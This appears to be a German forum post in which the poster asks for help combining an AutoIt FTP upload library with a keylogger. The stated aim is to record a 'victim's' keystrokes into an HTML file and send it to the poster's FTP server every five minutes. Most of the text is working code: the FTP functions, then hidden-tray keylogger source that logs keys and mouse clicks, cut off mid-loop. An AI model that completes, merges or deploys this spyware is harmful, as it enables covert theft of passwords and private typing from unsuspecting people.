; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): JohnMC
;
;================================================= ==============================
Func _FTPGetFolderContents(ByRef $l_FTPSession, $s_RemoteDir, $s_LocalDir, $b_RecursiveGet=1, $s_searchfor="*")
local $folderlist[1]
Local $i=0
While $i < UBound($folderlist)
Local $subpath=$folderlist[$i]
_FtpSetCurrentDir($l_FTPSession,"/" & $s_RemoteDir & $subpath)
local $FileInfo = _FtpFileFindFirst ($l_FTPSession,$s_searchfor)
while $FileInfo[0]<>0
if $FileInfo[1]=16 and $FileInfo[10] <> "." and $FileInfo[10] <> ".." And $b_RecursiveGet<>0 Then
Local $iUBound = UBound($folderlist)
ReDim $folderlist[$iUBound + 1]
$folderlist[$iUBound] = "/" & $subpath & $FileInfo[10] & "/"
elseif $FileInfo[1]=128 then
$downloadto = $s_LocalDir & stringReplace ($subpath,"/","\")
If Not FileExists($downloadto) then DirCreate($downloadto)
_FTPGetFile($l_FTPSession,$FileInfo[10],$downloadto&$FileInfo[10])
endif
$FileInfo = _FtpFileFindNext($l_FTPSession)
wend
_FTPFileFindClose($l_FTPSession)
$i+=1
WEnd
EndFunc ;==>_FTPGetFolderContents
;================================================= ==============================
;
; Function Name: _FTPGetFile()
; Description: Puts an file on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteFile - The remote file.
; $s_LocalFile - The Local Location to download to.
; $l_FailEx - If File Exists Localy 1=Fail 0=Proceed (Default) ;Fail Caused Crash For Me On My Vista Machine, changed default -JohnMC
; $l_FlagsA - Special flags & Attributes. -JohnMC
; $l_Flags - Special flags.
; $l_Context - I dont got a clue what this does.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
; Updated By JohnMC To Add $l_FailEx and $l_FlagsA
;
;================================================= ==============================
Func _FTPGetFile(ByRef $l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_FailEx = 0, $l_FlagsA = 0, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPGetFile = DllCall($l_FTPSession[1], 'int', 'FtpGetFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_FailEx, 'long', $l_FlagsA, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPGetFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPGetFile[0]
EndFunc;==> _FTPPutFile()
;================================================= ==============================
;
; Function Name: _FTPDelFile()
; Description: Delete an file from an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteFile - The remote Location for the file.
; Requirement(s): DllCall, wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPDelFile(ByRef $l_FTPSession, $s_RemoteFile)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpDeleteFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPDelFile()
;================================================= ==============================
;
; Function Name: _FTPRenameFile()
; Description: Renames an file on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Existing - The old file name.
; $s_New - The new file name.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPRenameFile(ByRef $l_FTPSession, $s_Existing, $s_New)
Local $ai_FTPRenameFile = DllCall($l_FTPSession[1], 'int', 'FtpRenameFile', 'long', $l_FTPSession[3], 'str', $s_Existing, 'str', $s_New)
If @error OR $ai_FTPRenameFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPRenameFile[0]
EndFunc ;==> _FTPRenameFile()
;================================================= ==============================
;
; Function Name: _FTPMakeDir()
; Description: Makes an Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Remote - The file name to be deleted.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPMakeDir(ByRef $l_FTPSession, $s_Remote)
Local $ai_FTPMakeDir = DllCall($l_FTPSession[1], 'int', 'FtpCreateDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPMakeDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPMakeDir[0]
EndFunc ;==> _FTPMakeDir()
;================================================= ==============================
;
; Function Name: _FTPDelDir()
; Description: Delete's an Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Remote - The Directory to be deleted.
; Requirement(s): DllCall, wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPDelDir(ByRef $l_FTPSession, $s_Remote)
Local $ai_FTPDelDir = DllCall($l_FTPSession[1], 'int', 'FtpRemoveDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPDelDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPDelDir[0]
EndFunc ;==> _FTPDelDir()
;================================================= ==============================
;
; Function Name: _FTPGetFileSize()
; Description: Gets the file size of a remote file
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_FileName - Remote file
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): J.o.a.c.h.i.m. d.e. K.o.n.i.n.g.
;
;================================================= ==============================
Func _FTPGetFileSize(ByRef $l_FTPSession, $s_FileName)
Local $ai_FTPGetSizeHandle = DllCall($l_FTPSession[1], 'int', 'FtpOpenFile', 'long', $l_FTPSession[3], 'str', $s_FileName, 'long', 0x80000000, 'long', 0x04000002, 'long', 0)
Local $ai_FTPGetFileSize = DllCall($l_FTPSession[1], 'int', 'FtpGetFileSize', 'long', $ai_FTPGetSizeHandle[0])
If @error OR $ai_FTPGetFileSize[0] = 0 Then
SetError(-1)
Return 0
EndIf
DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'str', $ai_FTPGetSizeHandle[0])
Return $ai_FTPGetFileSize[0]
EndFunc ;==> _FTPGetFileSize()
;================================================= ==============================
;
; Function Name: _FTPGetCurrentDir()
; Description: Get Current Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; Requirement(s): wininet.dll
; Return Value(s): On Success - Directory Name
; On Failure - 0
; Author(s): Beast
;
;================================================= ==============================
Func _FTPGetCurrentDir(ByRef $l_FTPSession)
Local $ai_FTPGetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpGetCurrentDirectory', 'long', $l_FTPSession[3], 'str', "", 'long_ptr', 260)
If @error OR $ai_FTPGetCurrentDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPGetCurrentDir[2]
EndFunc;==> _FTPGetCurrentDir()
;================================================= ==============================
;
; Function Name: _FtpSetCurrentDir()
; Description: Set Current Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Remote - The Directory to be set.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Beast
;
;================================================= ==============================
Func _FtpSetCurrentDir(ByRef $l_FTPSession, $s_Remote)
Local $ai_FTPSetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpSetCurrentDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPSetCurrentDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPSetCurrentDir[0]
EndFunc;==> _FtpSetCurrentDir()
;================================================= ==============================
;
; Function Name: _FTPFileFindFirst()
; Description: Find First File on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteFile - The remote file to find
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
;
;================================================= ==============================
Func _FTPFileFindFirst(ByRef $l_FTPSession, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
$l_FTPSession[4]=DllStructCreate("int;uint[2];uint[2];uint[2];int;int;int;int;char[256];char[14]")
if @error Then
SetError(-2)
Return ""
endif
Dim $a_FTPFileList[1]
$a_FTPFileList[0] = 0
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpFindFirstFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'ptr', DllStructGetPtr($l_FTPSession[4]), 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return $a_FTPFileList
EndIf
$l_FTPSession[5] = $ai_FTPPutFile[0]
$FileName = DllStructGetData($l_FTPSession[4], 9)
Dim $a_FTPFileList[12]
$a_FTPFileList[0] = 12
$a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1) ; File Attributes
$a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low
$a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High
$a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low
$a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High
$a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low
$a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High
$a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5) ; File Size High
$a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6) ; File Size Low
$a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9) ; File Name
$a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10) ; Altername
Return $a_FTPFileList
EndFunc;==> _FTPFileFindFirst()
;================================================= ==============================
;
; Function Name: _FTPFileFindNext()
; Description: Find Next File on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $l_DllStruct -
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
;
;================================================= ==============================
Func _FTPFileFindNext(ByRef $l_FTPSession)
Dim $a_FTPFileList[1]
$a_FTPFileList[0] = 0
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetFindNextFile', 'long',$l_FTPSession[5], 'ptr', DllStructGetPtr($l_FTPSession[4]))
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return $a_FTPFileList
EndIf
Dim $a_FTPFileList[12]
$a_FTPFileList[0] = 12
$a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1) ; File Attributes
$a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low
$a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High
$a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low
$a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High
$a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low
$a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High
$a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5) ; File Size High
$a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6) ; File Size Low
$a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9) ; File Name
$a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10) ; Altername
Return $a_FTPFileList
EndFunc;==> _FTPFileFindNext()
;================================================= ==============================
;
; Function Name: _FTPFileFindClose()
; Description: Delete FindFile Structure.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
;
;================================================= ==============================
Func _FTPFileFindClose($l_FTPSession)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'long', $l_FTPSession[5])
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return ""
EndIf
Return $ai_FTPPutFile[0]
EndFunc;==> _FTPFileFindClose()
;================================================= ==============================
;
; Function Name: _FTPClose()
; Description: Closes the _FTPOpen session.
; Parameter(s): $l_InternetSession - Array from _FTPOpen()
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPClose($l_InternetSession)
Local $ai_InternetCloseHandle = DllCall($l_InternetSession[1], 'int', 'InternetCloseHandle', 'long', $l_InternetSession[2])
DLLClose($l_InternetSession[1])
If @error OR $ai_InternetCloseHandle[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_InternetCloseHandle[0]
EndFunc ;==> _FTPClose()
Also das möchte ich iwie verbinden, keine Ahnung wie. Wäre toll wenn jmd mir helfen könnte.
Als nächstes Will ich noch das es den directory vom Opfer aussucht also nicht
$opt_SearchDir[1] = ["C:\Dokumente und Einstellungen\Felix\Desktop\"] ; <== Invullen
sondern iwas mit * oder @USERNAME
(Sorry kp..)
Danke im Vorraus
Ich möchte gerne einen AUTOIT KEYLOGGER erstellen der dann eine datei blabla.html auf dem desktop speichert & nach 5 minuten auf meinen FTP server schickt. Ist das erstmal möglich?
So...
Dann hab ich Schon:
Der Keylogger
#NoTrayIcon
;Local $CurrentRegRead = RegRead( "HKEY_CURRENT_USER\Software", "Microsoft")
Local $date = @YEAR & "-" & @MON & "-" & @MDAY
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "datei_nicht_oeffnen.html"
HotKeySet( "^{F9}", "Terminate")
opt("OnExitFunc", "Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Keylogger Log Start ]#] </center></b><br>")
FileWrite($log, "<b><center>[#[ History : ]#] </center></b><br>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Linke Maus Taste<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Rechte Maus Taste<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Mittlere Maus Taste<br></font></center>")
FileWrite($log, "<br>")
FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")
;VK_MENU = ALT = 0x12
;bzw.
;VK_LMENU = ALT = 0xA4
;VK_RMENU = ALT GR = 0xA5
While 1
For $n = 30 To 39 ;zahlen
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LogKeyPress('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LogKeyPress("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LogKeyPress("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LogKeyPress("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LogKeyPress("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("a")
Else
_LogKeyPress("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("b")
Else
_LogKeyPress("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("c")
Else
_LogKeyPress("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("d")
Else
_LogKeyPress("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("e")
Else
_LogKeyPress("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("f")
Else
_LogKeyPress("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("g")
Else
_LogKeyPress("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("h")
Else
_LogKeyPress("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("i")
Else
_LogKeyPress("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("j")
Else
_LogKeyPress("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("k")
Else
_LogKeyPress("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("l")
Else
_LogKeyPress("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("m")
Else
_LogKeyPress("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("n")
Else
_LogKeyPress("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("o")
Else
_LogKeyPress("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("p")
Else
_LogKeyPress("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("q")
Else
_LogKeyPress("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("r")
Else
_LogKeyPress("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("s")
Else
_LogKeyPress("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("t")
Else
_LogKeyPress("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("u")
Else
_LogKeyPress("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("v")
Else
_LogKeyPress("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("w")
Else
_LogKeyPress("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("x")
Else
_LogKeyPress("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("y")
Else
_LogKeyPress("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("z")
Else
_LogKeyPress("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LogKeyPress(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then
;$CURMOUSEPOS = MouseGetPos()
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then
;$CURMOUSEPOS = MouseGetPos()
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
; $replacestring = StringRight( $log , 1)
; $retval = _ReplaceStringInFile($log,$replacestring,"BLA")
While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39 ;zahlen
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LogKeyPress('=')
ElseIf StringRight($n, 1) = 1 Then
_LogKeyPress('!')
ElseIf StringRight($n, 1) = 2 Then
_LogKeyPress('"')
ElseIf StringRight($n, 1) = 3 Then
_LogKeyPress('#')
ElseIf StringRight($n, 1) = 4 Then
_LogKeyPress('$')
ElseIf StringRight($n, 1) = 5 Then
_LogKeyPress('%')
ElseIf StringRight($n, 1) = 6 Then
_LogKeyPress('&')
ElseIf StringRight($n, 1) = 7 Then
_LogKeyPress('/')
ElseIf StringRight($n, 1) = 8 Then
_LogKeyPress('(')
ElseIf StringRight($n, 1) = 9 Then
_LogKeyPress(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LogKeyPress("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LogKeyPress("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LogKeyPress("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LogKeyPress("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LogKeyPress("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LogKeyPress("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LogKeyPress("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LogKeyPress("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LogKeyPress("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LogKeyPress("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LogKeyPress("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LogKeyPress("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LogKeyPress("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LogKeyPress("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LogKeyPress("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LogKeyPress("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LogKeyPress("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LogKeyPress("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LogKeyPress("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LogKeyPress("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LogKeyPress("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LogKeyPress("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LogKeyPress("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LogKeyPress("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LogKeyPress("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LogKeyPress("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
